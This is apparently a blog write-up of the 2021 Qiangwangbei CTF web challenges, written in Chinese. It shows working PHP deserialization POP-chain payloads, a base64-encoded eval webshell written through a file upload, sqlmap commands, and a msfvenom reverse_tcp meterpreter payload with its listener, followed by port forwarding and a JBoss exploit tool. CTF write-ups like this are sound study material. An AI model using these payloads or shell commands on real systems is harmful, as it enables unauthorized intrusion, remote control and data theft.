2021强网杯 Web Writeup
2021-6-14
| 2023-4-13
0  |  0 分钟
type
Post
status
Published
date
Jun 14, 2021
slug
2021/2021qwb
summary
今年题目质量还不错,竟然还有内网渗透部分,2333,因为平常CTF比较少 毕设刚好是做代码审计相关的,刚刚好又在 POP链这个题用上了,还挺开心~
tags
CTF比赛
category
比赛Writeup
icon
password
 
今年题目质量还不错,竟然还有内网渗透部分,2333,因为平常CTF比较少
毕设刚好是做代码审计相关的,刚刚好又在 POP链这个题用上了,还挺开心~

0x1 Hard_Penetration

发现这是 shiro n day漏洞
notion image
顺便写了个内存马
notion image
连上去发现权限比较小,需要提权
然后尝试了 msf自带的,无果
notion image
 
无果
有点像mysql udf 提权,不过不知道用户名和密码
notion image
源码包也找不到
看了下 flag 是www-data 权限,本机可能还有服务,扫了一下发现在 8005端口,然后代理转发出来(转发过程可参考 0x4 EasyWeb 的端口转发过程)
notion image
报错发现是 thinkphp 3.1.3,然后链接显示去 baocms
审计走起
看了下,大概路由和控制器的对应关系如下
  • http://119.23.55.232:670/wap/ 前端就在 themes/Wap/ 里找,后端方法在/Lib/Action/Wap 里找,和URL对应就好
  • 同理 http://119.23.55.232:670/admin/ 前端就在 themes/Admin/ 里找,后端方法在/Lib/Action/Admin 里找
  • 然后后端方法的 xxxxAction.class.php 中的 Action.class.php 应该是其的加载规范,这个和laravel有点像
等wp吧。。。
还是没找到漏洞点。。。
#更新
赛后和xlw师兄交流了一波,发现漏洞点在
notion image
额,完全看不出来。。控制器太多了,,有点难看不出来,太菜了(
notion image

0x2 pop_master

by tari
index.php 代码
<?php include "class.php"; //class.php.txt highlight_file(__FILE__); $a = $_GET['pop']; $b = $_GET['argv']; $class = unserialize($a); $class->NGPaqV($b);
明显的反序列化,但看 class.php.txt 后发现很乱。
 
很多链是混淆的,有的是会覆盖值的,导致链就算构造了也无法进行反序列化
根据如下4点思路去过滤
  1. eval 没被引用,过滤
  1. for 循环中会覆盖传入参数值,过滤
  1. eval 前会覆盖值参数值,过滤
  1. 除了入口函数外,其他函数只被引用一次的,过滤
第2和3会覆盖值的是重点,第1和4,一次性过滤多点加快收敛速度(节约下一次运行脚本时间)
编写脚本如下,根据 AST 去剪切不需要的节点(即根据上面4点去除无用或会影响结果的函数)
之所以用 AST 是因相比正则或其他更能精准的剪切节点,PHP AST库传送门
  • $entryFunc 入口函数名称,根据实际情况来,即 index.php 里调用的函数 $class->NGPaqV($b);
  • PHP运行内存默认是 128M,在解析18w行代码会因内存不足退出,我这里php.ini 增加到 8196M
<?php // 16w 行代码大概跑 105s, 定义300s肯定不会超时 ini_set('max_execution_time', '300'); require 'vendor/autoload.php'; use PhpParser\Error; use PhpParser\NodeDumper; use PhpParser\ParserFactory; use PhpParser\PrettyPrinter; // 入口函数名称 $entryFunc = 'NGPaqV'; // 输入文件 $inputPhpFile = './class.php'; // 输出文件 $outputPhpFile = './class.php'; $code = file_get_contents($inputPhpFile); echo '[+] get file content done'."\n"; $parser = (new ParserFactory)->create(ParserFactory::PREFER_PHP7); try { $ast = $parser->parse($code); } catch (Error $error) { echo "Parse error: {$error->getMessage()}\n"; return; } echo '[+] parse done'. "\n"; // 计数删了多少个函数 $deleteCnt = 0; // $dumper = new NodeDumper; // echo $dumper->dump($ast) . "\n"; foreach ($ast as $k=>$subclass) { foreach ($subclass->stmts as $kk=>$classMember) { if ($classMember instanceof PhpParser\Node\Stmt\ClassMethod) { // echo $dumper->dump($classMember) . "\n"; // 除入口函数外的类方法没有被引用则删除 if (substr_count($code, $classMember->name->name) === 1 && $classMember->name->name !== $entryFunc) { $deleteCnt++; unset($subclass->stmts[$kk]); continue; } if (! $classMember->params) { // 只获取第一个参数 continue; } $param = $classMember->params[0]->var->name; // 获取方法参数 foreach ($classMember->stmts as $kkkk => $subStatements) { // echo $dumper->dump($subStatements) . "\n"; // 参数 if ($subStatements instanceof PhpParser\Node\Stmt\For_) { $assignLeft = $subStatements->stmts[0]->expr->var->name; # 参数会被赋值覆盖 if ($param === $assignLeft) { # 删除该节点 $deleteCnt++; unset($subclass->stmts[$kk]); continue; } } if ($subStatements instanceof PhpParser\Node\Stmt\Expression) { // 参数值会被覆盖 if ($subStatements->expr instanceof PhpParser\Node\Expr\Assign) { if ($param === $subStatements->expr->var->name) { $deleteCnt++; unset($subclass->stmts[$kk]); continue; } } // eval 是否不被引用 if ($subStatements->expr instanceof PhpParser\Node\Expr\Eval_) { // 函数名称只出现一次 if (substr_count($code, $classMember->name->name) === 1) { $deleteCnt++; unset($subclass->stmts[$kk]); continue; } } } } } } } echo '[+] filter done'."\n"; // 输出 $prettyPrinter = new PrettyPrinter\Standard; $afterFilter = $prettyPrinter->prettyPrintFile($ast); file_put_contents($outputPhpFile, $afterFilter); echo '[+] total filter: '.$deleteCnt. ' function'."\n";
多运行几遍上面代码,大概15次左右,大概消耗20分钟左右,就会显示过滤完成了,即 total filter: 0 function。(脚本还可以改进,例如把没用的类也去掉)
去除完后,搜索发现就只有一个 eval,接下来反过来跟这条链即可~
notion image
构造 POP链如下
<?php class xCUG62 { public $rLTCpuG; function __construct() { } } class E984fn { public $GcQ9wNy; function __construct() { $this->GcQ9wNy = new xCUG62(); } } class zOTHpM { public $HiDCYPi; function __construct() { $this->HiDCYPi = new E984fn(); } } class S0bXG3 { public $t8FQmBq; function __construct() { $this->t8FQmBq = new zOTHpM(); } } class LTswgA { public $GP8GMDp; function __construct() { $this->GP8GMDp = new S0bXG3(); } } class Br2Com { public $aSGzyvk; function __construct() { $this->aSGzyvk = new LTswgA(); } } class MwVbup { public $qFwGWF6; function __construct() { $this->qFwGWF6 = new Br2Com(); } } class xxAkFU { public $YRn1G6B; function __construct() { $this->YRn1G6B = new MwVbup(); } } class UOPWFh { public $w2rcmoW; function __construct() { $this->w2rcmoW = new xxAkFU(); } } class fTTYmp { public $Ma3Koaf; function __construct() { $this->Ma3Koaf = new UOPWFh(); } } class zuNg7f { public $TNngTy9; function __construct() { $this->TNngTy9 = new fTTYmp(); } } class Q0Ehc0 { public $Eze6mbP; function __construct() { $this->Eze6mbP = new zuNg7f(); } } class LNv8hP { public $kiZRG9G; function __construct() { $this->kiZRG9G = new Q0Ehc0(); } } class RLadP4 { public $FkQAZ7e; function __construct() { $this->FkQAZ7e = new LNv8hP(); } } class K1lpuz { public $ZH6YAPE; function __construct() { $this->ZH6YAPE = new RLadP4(); } } class lIcDR2 { public $Q7WCRu9; function __construct() { $this->Q7WCRu9 = new K1lpuz(); } } class xk6AMC { public $nqGOOTr; function __construct() { $this->nqGOOTr = new lIcDR2(); } } class mDnkFh { public $SLzu22G; function __construct() { $this->SLzu22G = new xk6AMC(); } } class LvG62O { public $AByNdFw; function __construct() { $this->AByNdFw = new mDnkFh(); } } class v00XnF { public $S9vaxl3; function __construct() { $this->S9vaxl3 = new LvG62O(); } } class mRhBx7 { public $uMKr13G; function __construct() { $this->uMKr13G = new v00XnF(); } } class Eckd7K { public $bR5zBKO; function __construct() { $this->bR5zBKO = new mRhBx7(); } } class gGHPEt { public $IOGuqdZ; function __construct() { $this->IOGuqdZ = new Eckd7K(); } } // 1 class OcZqBy { public $yHPAqE1; function __construct() { $this->yHPAqE1 = new gGHPEt(); } } class NGPaqV{ public $ZwSdRyt; function __construct() { $this->ZwSdRyt = new OcZqBy(); } } $NG = new NGPaqV(); echo serialize($NG);
还有多余的字符拼接在我们可控字符的后面,因最终是 eval 转换为代码,通过注释去掉即可
即可获得flag
notion image

0x3 (部分)WhereIsUWebShell

赛后和xlw师兄交流了一波,表示学到了~!
先贴贴原题代码
I see your Cookie <!-- You may need to know what is in e2a7106f1cc8bb1e1318df70aa0a3540.php--> <?php // index.php ini_set('display_errors', 'on'); if(!isset($_COOKIE['ctfer'])){ setcookie("ctfer",serialize("ctfer"),time()+3600); }else{ include "function.php"; echo "I see your Cookie<br>"; $res = unserialize($_COOKIE['ctfer']); if(preg_match('/myclass/i',serialize($res))){ throw new Exception("Error: Class 'myclass' not found "); } } highlight_file(__FILE__); echo "<br>"; highlight_file("myclass.php"); echo "<br>"; highlight_file("function.php"); <?php // myclass.php class Hello{ public function __destruct() { if($this->qwb) echo file_get_contents($this->qwb); } } ?> <?php // function.php function __autoload($classname){ require_once "/var/www/html/$classname.php"; } ?>
简要分析一下,存在以下几个文件
  • index.php 入口,也是反序列化点,不过存在正则 preg_match('/myclass/i',serialize($res)) 需要绕过
  • myclass.php 文件读取点
  • function.php __autoload 魔术方法文件,当实例化一个类时候,如 new myclass(); 然后找不到这个类时,会调用这个魔术方法,本题表现为包含某个文件。
  • e2a7106f1cc8bb1e1318df70aa0a3540.php 应该是提示之类的
这里正则绕过的思路很巧妙,表示学到了!
首先,如果没有反序列化 myclass 类,就因没包含 myclass.php 文件,进而导致利用不了 Hello
观察 index.php 代码可知,首先是反序列化 Cookie 里的序列化数据,然后在序列化刚刚反序列化的数据。这里看似,,好像无法修改,但仔细想想,PHP里有没有什么数据结构,会先天性存在,写入同一个位置会存在覆盖关系的,就豁然开朗了!
没错,就是,数组,只要反序列化数组,都在数据的同一位置,反序列化时,反序列化数组的第一个位置是 myclass 类,就会包含 myclass.php,然后同一第一个位置也是 Hello 类,那么就会覆盖第一个位置的 myclass 类,但此时 myclass.php,已经包含进来了,那么 Hello 类自然也能正常被反序列化了
构造 POC
<?php class myclass { } class Hello{ public $qwb; } $he = new Hello(); $he->qwb = '/Users/tari/Sites/tari_local/e2a7106f1cc8bb1e1318df70aa0a3540.php'; $arr[1] = new myclass(); $arr[0] = $he; echo urlencode(str_replace("i:0", "i:1", serialize($arr)));
notion image
notion image
就绕过去了
6月24日更新

从Nu1L的wp中看到的另外一种绕过方法,POC如下
<?php class myclass { public $test; } class Hello { } $a = new myclass(); $b = new Hello(); $b->qwb = "e2a7106f1cc8bb1e1318df70aa0a3540.php"; $a->test = $b; $raw_exp = serialize($a); echo urlencode(substr($raw_exp, 0, strlen($raw_exp) - 1));
即去除了序列化后数据最后一个花括号,能正常反序列化,但因序列化数据最后一位有误,unserialize 执行出现异常, $resfalse,所以绕过了正则表达式
notion image
本地中 e2a7106f1cc8bb1e1318df70aa0a3540.php 文件内容为
<?php $hint = 'hint';
正常读取文件内容

0x4 [强网先锋]赌徒

by tari
目录爆破 -> www.zip
<meta charset="utf-8"> <?php //hint is in hint.php error_reporting(1); class Start { public $name='guest'; public $flag='syst3m("cat 127.0.0.1/etc/hint");'; public function __construct(){ echo "I think you need /etc/hint . Before this you need to see the source code"; } public function _sayhello(){ echo $this->name; return 'ok'; } public function __wakeup(){ echo "hi"; $this->_sayhello(); } public function __get($cc){ echo "give you flag : ".$this->flag; return ; } } class Info { private $phonenumber=123123; public $promise='I do'; public function __construct(){ $this->promise='I will not !!!!'; return $this->promise; } public function __toString(){ return $this->file['filename']->ffiillee['ffiilleennaammee']; } } class Room { public $filename='/flag'; public $sth_to_set; public $a=''; public function __get($name){ $function = $this->a; return $function(); } public function Get_hint($file){ $hint=base64_encode(file_get_contents($file)); echo $hint; return ; } public function __invoke(){ $content = $this->Get_hint($this->filename); echo $content; } } if(isset($_GET['hello'])){ unserialize($_GET['hello']); }else{ $hi = new Start(); } ?>
调用逻辑为,反序列化调用 Start 类的 __wakeup 魔术方法 -> 调用 $this->_sayhello(); ,里面有 echo,可以触发 Info 类的 __toString 魔术方法,然后 Room 类无 ffiillee['ffiilleennaammee'] 属性,进而触发 __get 魔术方法,最好先构造后 Room$a 成员为 Room 对象即可(这里的坑为 $a 成员的 Room 对象不能在构造方法里构造,否则因这三个类相互调用而报错)
构造 POP链
<?php class Start { public $name='guest'; public $flag='1'; } class Info { private $phonenumber = 123123; public $promise = 'Ido'; } class Room { public $filename='/flag'; public $sth_to_set; public $a=''; } $st = new Start(); $if = new Info(); $ro = new Room(); $st->name = $if; $if->file['filename'] = $ro; $ro->a = new Room(); echo urlencode(serialize($st));
注意这个 hi,不是base64编码后的,注意去掉~
notion image
得到flag
notion image

0x5 [强网先锋]寻宝

key1

by tari
  1. 数字大于 1026即可
  1. 科学计数法绕过
  1. 跑一下脚本即可
import hashlib target = '4bf21cd' candidate = 0 while True: plaintext = str(candidate) hash = hashlib.md5(plaintext.encode('ascii')).hexdigest() if hash[:7] == target: print('plaintext:"' + plaintext + '", md5:' + hash) break candidate = candidate + 1
  1. 浮点数绕过
  1. 让json解析失败即可
ppp[number1]=1026a&ppp[number2]=10e8&ppp[number3]=61823470&ppp[number4]=0.00000.0&ppp[number5]={\"a":1}
key1
notion image
KEY1{e1e1d3d40573127e9ee0480caf1283d6}

key2

challenger 来了句,有没有可能直接在文件里呢?
脚本安排上
import os import docx def dir_file(file_path): file_list = [] for top, dirs, non_dirs in os.walk(file_path): for item in non_dirs: file_list.append(os.path.join(top, item)) return file_list docx_list = filter(lambda s: s.endswith('.docx'), dir_file('/Users/tari/Downloads/five_month')) for docx_file in docx_list: try: docx_object = docx.Document(docx_file) except docx.opc.exceptions.PackageNotFoundError: print('open failed: {}'.format(docx_file)) continue for para in docx_object.paragraphs: if "KEY2" in para.text: print(docx_file) print(para.text) break
key2
notion image
KEY2{T5fo0Od618l91SlG6l1l42l3a3ao1nblfsS}
提交两个key即可获得 flag
notion image

0x6 EasyWeb

目录爆破 -> /hint
notion image
访问一下得到提示
notion image
尝试扫描 35000-40000端口
notion image
访问发现是个后台
notion image
貌似存在sql注入
sqlmap还可以直接跑出来
notion image
sqlmap -r sql.log -D easyweb -T employee -C username,passwd
notion image
帐号密码 admin/99f609527226e076d668668582ac4420
暂时没找到 ssrf 点在哪
不过找到一个文件上传点
notion image
过滤了一些字段,不过可以字符串拼接
notion image
whoami 是 www-data 然后flag没权限
notion image
查看提示
notion image
mysql 限制了文件的读取位置
这里直接写入webshell不知为何无法写入成功,因此在写入了 system 命令下,把webshell进行编码在写入
http://47.104.137.239:36842//upload//1aadcef13858c71dacc8e00b17d0cd10//phpinfo.php?s=echo%20%22PD9waHAgZXZhbChAJF9QT1NUWyJzIl0pOyA%2fPg%3d%3d%22|base64%20-d%20%3E%20s.php
然后看下端口,一个个试试
notion image
在 8006 发现 Jboss,端口转发出来
为了上传下载文件稳定性,这里用 msf进行(reGeorg 可能环境原因连不上)
生成马
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=服务器IP lport=667 -f elf > msf_667
msfconsole上监听
use exploit/multi/handle set payload linux/x64/meterpreter/reverse_tcp set lhost 0.0.0.0 set lport 667 run
把生成的马上传上webshell,然后运行
chmod +x /tmp/msf_667 /tmp/msf_667
在反弹回来的meterpreter上进行端口转发
portfwd add -l 670 -p 8005 -r 127.0.0.1
notion image
可正常访问,并且得知为 JBoss 4.0,有个反序列化漏洞。
notion image
访问如下链接,确实可以利用
notion image
使用jexboss利用
notion image
 
比赛Writeup
  • CTF比赛
  • 2021红帽杯线下赛WEB upload题解Laravel8 CVE-2021-3129 复现分析
    目录